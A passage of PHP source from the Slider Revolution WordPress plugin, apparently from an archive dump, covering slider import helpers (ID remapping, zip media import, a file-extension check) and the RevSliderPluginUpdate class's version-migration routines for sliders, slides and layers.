r & slide **/ public function update_color_ids($map){ $skins = $this->get_param('skins', array()); if(!empty($skins) && isset($skins['colors']) && !empty($skins['colors']) && !empty($map)){ $update = false; foreach($skins['colors'] as $k => $v){ if(isset($v['ref']) && !empty($v['ref'])){ foreach($v['ref'] as $rk => $rv){ $os = $this->get_val($rv, 'slide'); if(isset($map[$os])){ $update = true; $skins['colors'][$k]['ref'][$rk]['slide'] = (string)$map[$os]; $r = explode('.', $this->get_val($rv, 'r')); if(!empty($r) && is_array($r)){ $r[0] = $map[$os]; $skins['colors'][$k]['ref'][$rk]['r'] = implode('.', $r); } } } } } if($update){ $this->update_params(array('skins' => $skins)); } } } /** * update the custom javascript section by removing the old api ID with the new api ID **/ public function update_css_and_javascript_ids($old_slider_id, $new_slider_id, $map){ $js = $this->get_param(array('codes', 'javascript'), ''); $css = $this->get_param(array('codes', 'css'), ''); $change = false; if(strpos($js, 'revapi') !== false){ if(preg_match_all('/revapi[0-9]*/', $js, $results)){ if(isset($results[0]) && !empty($results[0])){ foreach($results[0] as $replace){ $js = str_replace($replace, 'revapi'.$new_slider_id, $js); } $change = true; } } } if(!empty($map)){ if($css !== ''){ $css = str_replace( array( 'slider-'.$old_slider_id.'-', 'slider_'.$old_slider_id.'_', 'rrzt_'.$old_slider_id, 'rrzm_'.$old_slider_id, 'rrzb_'.$old_slider_id, '.slotholder', '.rs-background-video-layer', '.tp-static-layers', '.tp-parallax-wrap', '.rev_column_bg', '.tp-revslider-slidesli', 'active-revslide' ), array( 'slider-'.$new_slider_id.'-', 'slider_'.$new_slider_id.'_', 'rrzt_'.$new_slider_id, 'rrzm_'.$new_slider_id, 'rrzb_'.$new_slider_id, 'rs-sbg-wrap', 'rs-bgvideo', 'rs-static-layers', '.rs-parallax-wrap', 'rs-column-bg', 'rs-slide', 'active-rs-slide' ), $css ); foreach($map as $old_slide_id => $new_slide_id){ $css = str_replace('slide-'.$old_slide_id.'-', 'slide-'.$new_slide_id.'-', $css); } $change = true; } if($js !== ''){ $js = str_replace( array( 'slider-'.$old_slider_id.'-', 'slider_'.$old_slider_id.'_', 'rrzt_'.$old_slider_id, 'rrzm_'.$old_slider_id, 'rrzb_'.$old_slider_id, '.slotholder', '.rs-background-video-layer', '.tp-static-layers', 'if (obj.href!=undefined && obj.href.split("http").length<2 && obj.href!="#wp-toolbar")' ), array( 'slider-'.$new_slider_id.'-', 'slider_'.$new_slider_id.'_', 'rrzt_'.$new_slider_id, 'rrzm_'.$new_slider_id, 'rrzb_'.$new_slider_id, 'rs-sbg-wrap', 'rs-bgvideo', 'tp-static-layers', 'if (obj.href!=undefined && obj.href.split("http").length<2 && obj.href!="#wp-toolbar" && obj.href.split(\'./\').length<2 && obj.href.split(\'mailto:\').length<2)' ), $js ); foreach($map as $old_slide_id => $new_slide_id){ $js = str_replace('slide-'.$old_slide_id.'-', 'slide-'.$new_slide_id.'-', $js); } $change = true; } //check for all slides, if seo.slideLink needs to be changed $this->init_layer = false; $slides = $this->get_slides(); if(!empty($slides)){ foreach($slides as $skey => $slide){ if(version_compare($slide->get_param('version', '1.0.0'), '6.0.0', '<')){ }else{ $slidelink = $slide->get_param(array('seo', 'slideLink'), false); if($slidelink !== false && isset($map[$slidelink])){ $slide->set_param(array('seo', 'slideLink'), $map[$slidelink]); $slide->save_params(); } } } } } if($change === true){ $this->update_params(array('codes' => array('javascript' => $js, 'css' => $css))); } } /** * import a media and return the imported path of it * @param string $image * @return string **/ public function import_media_from_zip($image){ global $wp_filesystem; $media = ''; //import if exists in zip folder if($image !== '' && strpos($image, 'http') === false){ if($this->import_zip === true){ //we have a zip, check if exists if($wp_filesystem->exists($this->download_path.'images/'.$image)){ if(!isset($this->imported['images/'.$image])){ $import_image = $this->import_media($this->download_path.'images/'.$image, $this->get_val($this->slider_data, 'alias', 'alias').'/'); if($import_image !== false){ $image = $import_image['path']; $this->imported['images/'.$image] = $image; } }else{ $image = $this->imported['images/'.$image]; } } } $media = $this->get_image_url_from_path($image); } return $media; } /** * clear errors of length in string before unserializing it * @param string $m * @return string **/ public static function clear_error_in_string($m){ return 's:'.strlen($m[2]).':"'.$m[2].'";'; } /** * depending on PHP version, use optional parameter of unserialize * @since: 6.0.0 * @param string $string * @return mixed */ public function rs_unserialize($string){ return @unserialize($string); } /** * clear given folder if it can be deleted **/ public function clear_files(){ if(isset($this->remove_path) && !empty($this->remove_path) && is_writable(dirname($this->remove_path))){ $wp_filesystem->delete($this->remove_path, true); } } /** * open and checks a zip file for filetypes **/ public function check_bad_files($zip_file){ if(class_exists('ZipArchive')){ $zip = new ZipArchive; $success = $zip->open($zip_file); if($success !== true) $this->throw_error(__("Can't open zip file", 'revslider')); for($i = 0; $i < $zip->numFiles; $i++){ $path_info = pathinfo($zip->getNameIndex($i)); if(!isset($path_info['extension'])) continue; $pi = strtolower($path_info['extension']); if(in_array($pi, $this->bad_extensions)) $this->throw_error(__("zip file contains illegal files", 'revslider')); } }else{ //fallback to pclzip require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php'); $pclzip = new PclZip($zip_file); $content = $pclzip->listContent(); if(is_array($content) && !empty($content)){ foreach($content as $file){ if(!isset($file['filename'])) continue; $path_info = pathinfo($file['filename']); if(!isset($path_info['extension'])) continue; $pi = strtolower($path_info['extension']); if(in_array($pi, $this->bad_extensions)) $this->throw_error(__("zip file contains illegal files", 'revslider')); } } } } }admin/includes/plugin-update.class.php000060400001332370151724235750014055 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderPluginUpdate extends RevSliderFunctions { public $revision; public $upgrade_layer_type = false; //holds the type of the layer, for the _compare function to public $add_to_transition_speed = array('slotslide-horizontal' => 200, 'slotslide-vertical' => 200, 'slotzoom-horizontal' => 400, 'slotfade-horizontal' => 1000, 'slotfade-vertical' => 1000, 'fade' => 300, 'crossfade' => 300, 'fadethroughdark' => 300, 'fadethroughlight' => 300, 'fadethroughtransparent' => 300, 'papercut' => 600, '3dcurtain-horizontal' => 100, '3dcurtain-vertical' => 100, 'cubic' => 600, 'cube' => 600, 'flyin' => 600, 'turnoff' => 500, 'incube' => 200, 'cubic-horizontal' => 500, 'cube-horizontal' => 500, 'incube-horizontal' => 500, 'turnoff-vertical' => 200, 'grayscale' => 300, 'grayscalecross' => 300, 'brightness' => 300, 'brightnesscross' => 300, 'blurlight' => 300, 'blurlightcross' => 300, 'blurstrong' => 300, 'blurstrongcross' => 300); public $_respsizesold = array('desktop', 'notebook', 'tablet', 'mobile'); public $_respsizes = array('d', 'n', 't', 'm'); public $_corners = array('cornerLeft' => array('nothing' => 'none', 'curved' => 'rs-fcr', 'reverced' => 'rs-fcrt'), 'cornerRight' => array('nothing' => 'none', 'curved' => 'rs-bcr', 'reverced' => 'rs-bcrt')); public $_metas = array('home_url', 'current_page_link', 'link', 'title', 'excerpt', 'alias', 'content', 'link', 'date', 'date_modified', 'author_name', 'author_posts', 'author_website', 'num_comments', 'catlist', 'catlist_raw', 'taglist', 'id', 'wc_full_price', 'wc_price', 'wc_price_no_cur', 'wc_stock', 'wc_rating', 'wc_star_rating', 'wc_categories', 'wc_add_to_cart', 'wc_add_to_cart_button', 'wc_sku', 'wc_stock_quantity', 'wc_rating_count', 'wc_review_count', 'wc_tags', 'link', 'title', 'excerpt', 'description', 'alias', 'content', 'link', 'date_published', 'date_modified', 'author_name', 'num_comments', 'catlist', 'catlist_raw', 'taglist', 'likes', 'retweet_count', 'favorite_count', 'views', 't_days', 't_hours', 't_minutes', 't_seconds', 'event_start_date', 'event_end_date', 'event_start_tim', 'event_end_time', 'event_event_id', 'event_location_name', 'event_location_slug', 'event_location_address', 'event_location_town', 'event_location_state', 'event_location_postcode', 'event_location_region', 'event_location_country', 'param1', 'param2', 'param3', 'param4', 'param5', 'param6', 'param7', 'param8', 'param9', 'param10', '/%meta:\w+%/', '/%content:\w+[\:]\w+%/', '/%author_avatar:\w+%/', '/%image_url_\w+%/', '/%image_\w+%/', '/%featured_image_url_\w+%/', '/%featured_image_\w+%/'); public $z_index = 5; public $navtypes = array('arrows', 'thumbs', 'bullets', 'tabs'); public $blank_slide = false; //holds a blank slide to remove unneeded values in slides as a compare public $blank_layer = array(); //holds a blank layer to remove unneeded values in layers as a compare, as more than one type of layer exists, it fills with keys as the type public $current_parent = false; //holds the parent key for the compare function, which allows for deeper checks to remove/not remove keys depending on where in the tree we are public $css_navigations = array(); //holds css navigations public $googlefonts = array(); //holds googlefonts public $upd_animations = array(); //holds animations /** * for update to 6.0 added. * These 4 are set by each Slider and depending on their setting. * the layer effects are set to true/false **/ public $on_layers = false; public $on_static_layers = false; public $on_parallax_layers = false; public $on_parallax_static_layers = false; public $on_counter = 0; public $static_slide = false; public $parallax_slider = false; /** * for update to 6.0 * it holds all layers that are triggered in an action **/ public $slide_action_map = array(); /** * holds variables needed for certain updates * @since: 6.2.0 **/ public $update = array( /** * for update to 6.2.0 * it holds all easing names that need to be replaced whereever easings are used **/ '620' => array( 'ease_replace_adv' => array('Power0' => 'power0', 'Power1' => 'power1', 'Power2' => 'power2', 'Power3' => 'power3', 'Power4' => 'power4', 'Back' => 'back', 'Bounce' => 'bounce', 'Circ' => 'circ', 'Elastic' => 'elastic', 'Expo' => 'expo', 'Sine' => 'sine'), 'ease_adv_modifier' => array('easeIn' => 'in', 'easeOut' => 'out', 'easeInOut' => 'inOut'), 'ease_adv_from' => array('Linear.easeNone', 'SlowMo.ease'), 'ease_adv_to' => array('none', 'slow') ) ); /** * holds wheter we are importing an Slider or if we are updating existing Sliders * this is needed for update routines that should either be done on one of the two Slider types * like in the introduction of it in 6.5.30, where we changed the default of the adpr only for new Sliders! **/ public $import = false; /** * @since 5.0 */ public function __construct(){ $this->revision = get_option('revslider_update_version', '6.0.0'); foreach($this->update['620']['ease_replace_adv'] as $a_f => $a_t){ foreach($this->update['620']['ease_adv_modifier'] as $a_m_f => $a_m_t){ $this->update['620']['ease_adv_from'][] = $a_f.'.'.$a_m_f; $this->update['620']['ease_adv_to'][] = $a_t.'.'.$a_m_t; } } } public function init_animations(){ if(empty($this->upd_animations)){ $this->upd_animations = $this->get_layer_animations(); } } public function init_googlefonts(){ if(empty($this->googlefonts)){ //direct inclusion for direct searching of google font include(RS_PLUGIN_PATH.'includes/googlefonts.php'); $this->googlefonts = $googlefonts; } } /** * return version of installation * @since 5.0 */ public function get_version(){ $real_version = get_option('revslider_update_version', 1.0); return $real_version; } /** * set version of installation * @since 5.0 */ public function set_version($set_to){ update_option('revslider_update_version', $set_to); } /** * set import value * @since 6.5.30 */ public function set_import($import){ $this->import = $import; } /** * check for updates and proceed if needed * @since 5.0 */ public static function do_update_checks(){ $upd = new RevSliderPluginUpdate(); $version = $upd->get_version(); if(version_compare($version, 5.0, '<')){ $upd->update_css_styles(); //update styles to the new 5.0 way $upd->add_v5_styles(); //add the version 5 styles that are new! $upd->check_settings_table(); //remove the usage of the settings table $upd->move_template_slider(); //move template sliders slides to the post based sliders and delete them/move them if not used $upd->add_animation_settings_to_layer(); //set missing animation fields to the slides layers $upd->add_style_settings_to_layer(); //set missing styling fields to the slides layers $upd->change_settings_on_layers(); //change settings on layers, for example, add the new structure of actions $upd->add_general_settings(); //set general settings $upd->translate_navigation_to_v5(); //set the navigation from v4.** to v5 $upd->remove_static_slides(); //remove static slides if the slider was v4 and had static slides which were not enabled $version = 5.0; $upd->set_version($version); } if(version_compare($version, '5.0.7', '<')){ $version = '5.0.7'; $upd->change_general_settings_5_0_7(); $upd->set_version($version); } if(version_compare($version, '5.1.1', '<')){ $version = '5.1.1'; $upd->change_slide_settings_5_1_1(); $upd->set_version($version); } if(version_compare($version, '5.2.5.5', '<')){ $version = '5.2.5.5'; $upd->change_layers_svg_5_2_5_5(); $upd->set_version($version); } //with 6.0, the slider, slide, layer changes are done at a background process if possible, not automatically //only push global changes in here outside of slider, slides and layers if(version_compare($version, '6.0', '<')){ $version = '6.0'; $upd->change_global_settings_to_6_0(); $upd->change_navigation_settings_to_6_0(); $upd->change_animations_settings_to_6_0(); // new addition for global addons $upd->change_global_addon_settings_to_6_0(); $upd->set_version($version); } //with 6.1.4, we check the animations again for custom animations if(version_compare($version, '6.1.4', '<')){ $version = '6.1.4'; $upd->change_animations_settings_to_6_0(); $upd->set_version($version); } //with 6.1.6, we only set the version and upgrade_slider_to_latest() will do the rest if(version_compare($version, '6.1.6', '<')){ $version = '6.1.6'; $upd->set_version($version); } //with 6.2.0, we check the animations handles again and change them to a new format if(version_compare($version, '6.2.0', '<')){ $version = '6.2.0'; $upd->change_animations_settings_to_6_2_0(); $upd->change_global_settings_to_6_2_0(); $upd->set_version($version); } //add this so that sliders will be updated if under 6.4.0 if(version_compare($version, '6.4.0', '<')){ $upd->set_version('6.4.0'); } //add this so that sliders will be updated if under 6.4.10 if(version_compare($version, '6.4.10', '<')){ $upd->change_navigation_settings_to_6_4_10(); $upd->set_version('6.4.10'); } //add this so that sliders will be updated if under 6.4.11 if(version_compare($version, '6.5.12', '<')){ //$upd->set_version('6.5.12'); } //add this so that sliders will be updated if under 6.4.11 if(version_compare($version, '6.5.20', '<')){ $upd->set_version('6.5.20'); } //add this so that sliders will be updated if under 6.5.26 if(version_compare($version, '6.5.26', '<')){ $upd->set_version('6.5.26'); } //add this so that sliders will be updated if under 6.4.11 if(version_compare($version, '6.6.0', '<')){ $upd->set_version('6.6.0'); } } /** * check to convert the given Slider to latest versions * @since: 6.0 **/ public function upgrade_slider_to_latest($slider){ $version = $slider->get_setting('version', '1.0.0'); if(version_compare($version, '6.0.0', '<')){ //$this->update_css_styles(); //set to version 5 $this->add_animation_settings_to_layer($slider); //set to version 5 $this->add_style_settings_to_layer($slider); //set to version 5 $this->change_settings_on_layers($slider); //set to version 5 $this->add_general_settings($slider); //set to version 5 $this->change_general_settings_5_0_7($slider); //set to version 5.0.7 $this->change_layers_svg_5_2_5_5($slider); //set to version 5.2.5.5 $this->change_animations_settings_to_6_0(); //check if new navigations are added through import $this->upgrade_slider_to_6_0($slider); } if(version_compare($version, '6.1.4', '<')){ $this->upgrade_slider_to_6_1_4($slider); } if(version_compare($version, '6.1.6', '<')){ $this->upgrade_slider_to_6_1_6($slider); } if(version_compare($version, '6.2.0', '<')){ $this->change_animations_settings_to_6_2_0(); //check if new navigations are added through import $this->upgrade_slider_to_6_2_0($slider); } if(version_compare($version, '6.4.0', '<')){ $this->upgrade_slider_to_6_4_0($slider); } if(version_compare($version, '6.4.10', '<')){ $this->change_navigation_settings_to_6_4_10(); $this->upgrade_slider_to_6_4_10($slider); } if(version_compare($version, '6.5.12', '<')){ $this->upgrade_slider_to_6_5_12($slider); } if($this->import === false){ if(version_compare($version, '6.5.26', '<')){ $this->upgrade_slider_to_6_5_26($slider); } } if(version_compare($version, '6.6.0', '<')){ $this->upgrade_slider_to_6_6_0($slider); } } /** * get the CSS Navigation advanced styles, needed for 6.0 * @since: 6.0 **/ public function get_css_navigations(){ if(empty($this->css_navigations)){ $css_parser = RevSliderGlobals::instance()->get('RevSliderCssParser'); $this->css_navigations = $css_parser->get_database_classes(true); } return $this->css_navigations; } /** * check if there are still Slider below latest version, if yes then add JavaScript to the header * @since: 6.0.0 **/ public function slider_need_update_checks(){ $finished = get_option('revslider_update_revision_current', '1.0.0'); return (version_compare($finished, $this->revision, '<')) ? true : false; } /** * get the next slider that is not on the latest version and update it to the latest * @since: 6.0.0 * @since: 6.2.0: added template sliders to the update routine **/ public function upgrade_next_slider(){ $slr = new RevSliderSlider(); $sliders = $slr->get_sliders(); if(!empty($sliders)){ foreach($sliders as $slider){ if(version_compare($this->get_val($slider, array('settings', 'version')), $this->revision, '<')){ $this->upgrade_slider_to_latest($slider); return array('status' => 'next'); } } } //template sliders $sliders = $slr->get_sliders(true); if(!empty($sliders)){ foreach($sliders as $slider){ if(version_compare($this->get_val($slider, array('settings', 'version')), $this->revision, '<')){ $this->upgrade_slider_to_latest($slider); return array('status' => 'next'); } } } //we can only get to this point, after all Sliders have been updated to the latest revision update_option('revslider_update_revision_current', $this->revision); return array('status' => 'finished'); } /** * check to convert the given Slider to latest versions * @since: 6.0 **/ public function upgrade_slider_to_6_0($slider){ ini_set('max_execution_time', 300); $upd = new RevSliderPluginUpdate(); $upd->change_navigation_slider_to_6_0($slider); $upd->change_slider_settings_to_6_0($slider); //set to version 6.0 $upd->change_slide_settings_to_6_0($slider); //set to version 6.0 $upd->change_layer_settings_to_6_0($slider); //set to version 6.0 $upd->remove_unneeded_slider_settings($slider); } /** * check to convert the given Slider to latest versions * @since: 6.1.4 * reverse the carousel.scaleDown value. If it was 85, change it to 15 and vice versa **/ public function upgrade_slider_to_6_1_4($sliders = false){ $sr = new RevSliderSlider(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $carousel = $slider->get_param('carousel', array()); $scale_down = $this->get_val($carousel, 'scaleDown'); if($scale_down !== false){ $carousel['scaleDown'] = 100 - intval($scale_down); $slider->update_params(array('carousel' => $carousel)); } $slider->update_settings(array('version' => '6.1.4')); } } } /** * check to convert the given Slider to latest versions * @since: 6.1.6 * check in the slide transitions, if we have a transition with a "," * if this is the case, split it up **/ public function upgrade_slider_to_6_1_6($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $slides = $slider->get_slides(false, true); $static_id = $sl->get_static_slide_id($slider->get_id()); if($static_id !== false){ $msl = new RevSliderSlide(); if(strpos($static_id, 'static_') === false){ $static_id = 'static_'. $static_id; //$slider->get_id(); } $msl->init_by_id($static_id); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $settings = $slide->get_settings(); if(version_compare($this->get_val($settings, 'version', '1.0.0'), '6.1.6', '<')){ $params = $slide->get_params(); $transitions = $this->get_val($params, array('timeline', 'transition'), array()); $new_transitions = array(); $save = false; if(!empty($transitions) && is_array($transitions)){ foreach($transitions as $t => $v){ if(strpos($v, ',') !== false){ $save = true; $_v = explode(',', $v); if(!empty($_v)){ foreach($_v as $k => $__v){ $new_transitions[] = $__v; } } }else{ $new_transitions[] = $v; } } if($save){ $this->set_val($params, array('timeline', 'transition'), $new_transitions); $slide->set_params($params); $slide->save_params(); } } $slide->settings['version'] = '6.1.6'; $slide->save_settings(); } } } $slider->update_settings(array('version' => '6.1.6')); } } } /** check to convert the given Slider to latest versions * @since: 6.2.0 * check in all layers, if we have a ease in it and convert it **/ public function upgrade_slider_to_6_2_0($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ //on slider params if(version_compare($slider->get_setting('version', '1.0.0'), '6.2.0', '<')){ $params = $slider->get_params(); $json_params = $_json_params = json_encode($params); $_json_params = str_replace($this->update['620']['ease_adv_from'], $this->update['620']['ease_adv_to'], $_json_params); if($_json_params !== $json_params){ $params = (array)json_decode($_json_params, true); $params['version'] = '6.2.0'; $slider->update_params($params, true); } } $slides = $slider->get_slides(false, true); $static_id = $sl->get_static_slide_id($slider->get_id()); if($static_id !== false){ $msl = new RevSliderSlide(); if(strpos($static_id, 'static_') === false){ $static_id = 'static_'. $static_id; } $msl->init_by_id($static_id); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $settings = $slide->get_settings(); //on slides if(version_compare($this->get_val($settings, 'version', '1.0.0'), '6.2.0', '<')){ $params = $slide->get_params(); $json_params = $_json_params = json_encode($params); $_json_params = str_replace($this->update['620']['ease_adv_from'], $this->update['620']['ease_adv_to'], $_json_params); $params = ($_json_params !== $json_params) ? (array)json_decode($_json_params, true) : $params; $params['version'] = '6.2.0'; $slide->set_params($params); $slide->save_params(); $slide->settings['version'] = '6.2.0'; $slide->save_settings(); } //on layers $layers = $slide->get_layers(); if(!empty($layers) && is_array($layers)){ $save = false; foreach($layers as $lk => $layer){ $version = $this->get_val($layer, 'version', '1.0.0'); if(version_compare($version, '6.2.0', '<')){ $save = true; $json_layer = $_json_layer = json_encode($layer); $_json_layer = str_replace($this->update['620']['ease_adv_from'], $this->update['620']['ease_adv_to'], $_json_layer); if($_json_layer !== $json_layer){ $layers[$lk] = (array)json_decode($_json_layer, true); } $layers[$lk]['version'] = '6.2.0'; } } if($save){ $slide->set_layers_raw($layers); $slide->save_layers(); } } } } $slider->update_settings(array('version' => '6.2.0')); } } } /** check to convert the given Slider to latest versions * @since: 6.4.0 * check in all layers, if we have an gradient in idle and if we need to push it to the hover animation **/ public function upgrade_slider_to_6_4_0($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ if(version_compare($slider->get_setting('version', '1.0.0'), '6.4.0', '<')){ $params = $slider->get_params(); $params['version'] = '6.4.0'; if($this->get_val($params, array('layout', 'bg'), false) !== false){ $do = strtolower($this->get_val($params, array('layout', 'bg', 'dottedOverlay'), '')); if(strpos($do, 'white') !== false) $this->set_val($params, array('layout', 'bg', 'dottedColorB'), '#FFFFFF'); if(strpos($do, 'twoxtwo') !== false) $this->set_val($params, array('layout', 'bg', 'dottedOverlay'), '1'); if(strpos($do, 'threexthree') !== false) $this->set_val($params, array('layout', 'bg', 'dottedOverlay'), '2'); } $slider->update_params($params, true); } $slides = $slider->get_slides(false, true); $static_id = $sl->get_static_slide_id($slider->get_id()); if($static_id !== false){ $msl = new RevSliderSlide(); if(strpos($static_id, 'static_') === false){ $static_id = 'static_'. $static_id; } $msl->init_by_id($static_id); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $settings = $slide->get_settings(); //on slides if(version_compare($this->get_val($settings, 'version', '1.0.0'), '6.4.0', '<')){ $params = $slide->get_params(); $params['version'] = '6.4.0'; $do = $this->get_val($params, array('bg', 'video', 'dottedOverlay'), 'none'); if(strpos($do, 'white') !== false) $this->set_val($params, array('bg', 'video', 'dottedColorB'), '#FFFFFF'); if(strpos($do, 'twoxtwo') !== false) $this->set_val($params, array('bg', 'video', 'dottedOverlay'), '1'); if(strpos($do, 'threexthree') !== false) $this->set_val($params, array('bg', 'video', 'dottedOverlay'), '2'); $slide->set_params($params); $slide->save_params(); $slide->settings['version'] = '6.4.0'; $slide->save_settings(); } //on layers $layers = $slide->get_layers(); if(!empty($layers) && is_array($layers)){ $save = false; foreach($layers as $lk => $layer){ $version = $this->get_val($layer, 'version', '1.0.0'); if(version_compare($version, '6.4.0', '<')){ $save = true; $layers[$lk]['version'] = '6.4.0'; if($this->get_val($layer, 'type', 'text') === 'video'){ $do = $this->get_val($layer, array('media', 'dotted')); if(strpos($do, 'white') !== false) $this->set_val($layers, array($lk, 'media', 'dottedColorB'), '#FFFFFF'); if(strpos($do, 'twoxtwo') !== false) $this->set_val($layers, array($lk, 'media', 'dotted'), '1'); if(strpos($do, 'threexthree') !== false) $this->set_val($layers, array($lk, 'media', 'dotted'), '2'); } if($this->get_val($layer, 'type', 'text') === 'shape') continue; $idle_bg = $this->get_val($layer, array('idle', 'backgroundColor'), ''); if( strpos($idle_bg, 'gradient') === false && strpos($idle_bg, 'radial') === false && strpos($idle_bg, 'linear') === false && strpos($idle_bg, '&type') === false ) continue; if($this->get_val($layer, array('hover', 'usehover'), false) === false) continue; $hover_bg = $this->get_val($layer, array('hover', 'backgroundColor'), ''); if( strpos($hover_bg, 'gradient') !== false || strpos($hover_bg, 'radial') !== false || strpos($hover_bg, 'linear') !== false || strpos($hover_bg, '&type') !== false ) continue; $layers[$lk]['hover']['backgroundColor'] = $idle_bg; } } if($save){ $slide->set_layers_raw($layers); $slide->save_layers(); } } } } $slider->update_settings(array('version' => '6.4.0')); } } } /** check to convert the given Slider to latest versions * @since: 6.4.10 **/ public function upgrade_slider_to_6_4_10($sliders = false){ $sr = new RevSliderSlider(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ if(version_compare($slider->get_setting('version', '1.0.0'), '6.4.10', '<')){ $params = $slider->get_params(); $params['version'] = '6.4.10'; $slider->update_params($params, true); $slider->update_settings(array('version' => '6.4.10')); } } } } /** check to convert the given Slider to latest versions * @since: 6.4.10 **/ public function upgrade_slider_to_6_5_26($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ if(version_compare($slider->get_setting('version', '1.0.0'), '6.5.26', '<')){ $params = $slider->get_params(); $params['version'] = '6.5.26'; $slider->update_params($params, true); $slider->update_settings(array('version' => '6.5.26')); } $slides = $slider->get_slides(false, true); $static_id = $sl->get_static_slide_id($slider->get_id()); if($static_id !== false){ $msl = new RevSliderSlide(); if(strpos($static_id, 'static_') === false){ $static_id = 'static_'. $static_id; } $msl->init_by_id($static_id); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $settings = $slide->get_settings(); //on slides if(version_compare($this->get_val($settings, 'version', '1.0.0'), '6.5.26', '<')){ $params = $slide->get_params(); $params['version'] = '6.5.26'; if($this->get_val($params, array('slideChange', 'adpr'), false) === false){ $this->set_val($params, array('slideChange', 'adpr'), false); } $slide->set_params($params); $slide->save_params(); $slide->settings['version'] = '6.5.26'; $slide->save_settings(); } //on layers $layers = $slide->get_layers(); if(!empty($layers) && is_array($layers)){ $save = false; foreach($layers as $lk => $layer){ $version = $this->get_val($layer, 'version', '1.0.0'); if(version_compare($version, '6.5.26', '<')){ $save = true; $layers[$lk]['version'] = '6.5.26'; } } if($save){ $slide->set_layers_raw($layers); $slide->save_layers(); } } } } } } } /** check to convert the given Slider to latest versions * @since: 6.5.12 **/ public function upgrade_slider_to_6_5_12($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ if(version_compare($slider->get_setting('version', '1.0.0'), '6.5.12', '<')){ $params = $slider->get_params(); $params['version'] = '6.5.12'; $slider->update_params($params, true); $slider->update_settings(array('version' => '6.5.12')); } $slides = $slider->get_slides(false, true); $static_id = $sl->get_static_slide_id($slider->get_id()); if($static_id !== false){ $msl = new RevSliderSlide(); if(strpos($static_id, 'static_') === false){ $static_id = 'static_'. $static_id; } $msl->init_by_id($static_id); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $settings = $slide->get_settings(); //on slides if(version_compare($this->get_val($settings, 'version', '1.0.0'), '6.5.12', '<')){ $params = $slide->get_params(); $params['version'] = '6.5.12'; $slide->set_params($params); $slide->save_params(); $slide->settings['version'] = '6.5.12'; $slide->save_settings(); } //on layers $layers = $slide->get_layers(); if(!empty($layers) && is_array($layers)){ $save = false; foreach($layers as $lk => $layer){ $version = $this->get_val($layer, 'version', '1.0.0'); if(version_compare($version, '6.5.12', '<')){ $save = true; $layers[$lk]['version'] = '6.5.12'; //check if parent layer is from type column $puid = $this->get_val($layer, array('group', 'puid'), -1); if($puid !== -1 && $this->get_val($layers, array($puid, 'type')) === 'column'){ $this->set_val($layers, array($lk, 'position', 'position'), 'relative'); } } } if($save){ $slide->set_layers_raw($layers); $slide->save_layers(); } } } } } } } /** check to convert the given Slider to latest versions * changing the position.position attribute * set it to absolute as default * if layer is in column, default is relative * @since: 6.6.0 **/ public function upgrade_slider_to_6_6_0($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); $sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ if(version_compare($slider->get_setting('version', '1.0.0'), '6.6.0', '<')){ $params = $slider->get_params(); $params['version'] = '6.6.0'; $slider->update_params($params, true); $slider->update_settings(array('version' => '6.6.0')); } $slides = $slider->get_slides(false, true); $static_id = $sl->get_static_slide_id($slider->get_id()); if($static_id !== false){ $msl = new RevSliderSlide(); if(strpos($static_id, 'static_') === false){ $static_id = 'static_'. $static_id; } $msl->init_by_id($static_id); if($msl->get_id() !== ''){ $slides = array_merge($slides, array($msl)); } } if(!empty($slides) && is_array($slides)){ foreach($slides as $slide){ $settings = $slide->get_settings(); //on slides if(version_compare($this->get_val($settings, 'version', '1.0.0'), '6.6.0', '<')){ $params = $slide->get_params(); $params['version'] = '6.6.0'; $slide->set_params($params); $slide->save_params(); $slide->settings['version'] = '6.6.0'; $slide->save_settings(); } //on layers $layers = $slide->get_layers(); if(!empty($layers) && is_array($layers)){ $save = false; $group_uids = array(); foreach($layers as $lk => $layer){ if($this->get_val($layer, 'type', 'text') === 'column') $group_uids[] = (string)$this->get_val($layer, 'uid', -1); } foreach($layers as $lk => $layer){ $version = $this->get_val($layer, 'version', '1.0.0'); if(version_compare($version, '6.6.0', '<')){ $save = true; $layers[$lk]['version'] = '6.6.0'; if(in_array($this->get_val($layer, 'type', 'text'), array('column', 'row'), true)) continue; //column and row do not have these values $puid = 